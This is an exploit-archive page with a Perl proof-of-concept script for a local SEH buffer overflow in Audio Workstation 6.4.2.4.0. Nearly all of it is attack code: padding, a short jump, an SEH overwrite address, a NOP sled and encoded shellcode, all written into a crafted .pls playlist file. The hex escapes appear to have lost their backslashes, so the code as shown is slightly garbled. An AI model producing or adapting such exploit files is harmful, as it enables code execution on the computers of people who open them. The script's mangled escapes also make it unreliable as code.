Audio Workstation(.pls) Local Buffer Overflow Exploit (SEH)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Audio Workstation(.pls) Local Buffer Overflow Exploit (SEH)
# Published : 2009-09-24
# Author : germaya_x
# Previous Title : Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation
# Next Title : Avast Antivirus 4.8.1351.0 DoS and Privilege Escalation

#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     /     | |     | |        /     | | | |
                    / _    | |     | |       / _    | |_| |
                   / ___   | |___  | |___   / ___   |  _  |
   IN THE NAME OF /_/   _ |_____| |_____| /_/   _ |_| |_|
                                                             
==============================================================================
      Audio Workstation(.pls) Local Buffer Overflow Exploit (SEH)
==============================================================================
	[&#65533;] Exploited by:.......[       germaya_x       ].....................
        [&#65533;] Script:.............[   Audio Workstation   ].....................
        [&#65533;] version:............[       6.4.2.4.0       ]
	[&#65533;] Today:..............[       24/09/2009      ].....................
        [&#65533;] platform............[        Windows        ].....................
        [&#65533;] tested on:..........[     Windows XP SP2    ].....................
        [&#65533;] greetz:.............[  his0k4/D3v!LFUCK3R   ].....................
==============================================================================


	
=cut
##############################################################################
my $shellcode=
"x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49".
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56".
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41".
"x42x41x41x42x54x41x41x51x32x41x42x32x42x42".
"x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a".
"x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47".
"x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c".
"x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a".
"x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46".
"x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45".
"x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c".
"x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c".
"x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44".
"x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c".
"x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46".
"x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50".
"x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44".
"x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45".
"x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43".
"x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b".
"x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43".
"x51x42x4cx42x43x43x30x41x41";
###################################################################
my $bof="x41" x 1320;
my $nsh="xEBx09x90x90";# Short jmp
my $seh="x5Dx38x82x7C";# KERNEL32.DLL
my $nop="x90" x 20;
###################################################################
open(myfile,'>> germaya_x.pls');
print myfile $bof.$nsh.$seh.$nop.$shellcode;
###################################################################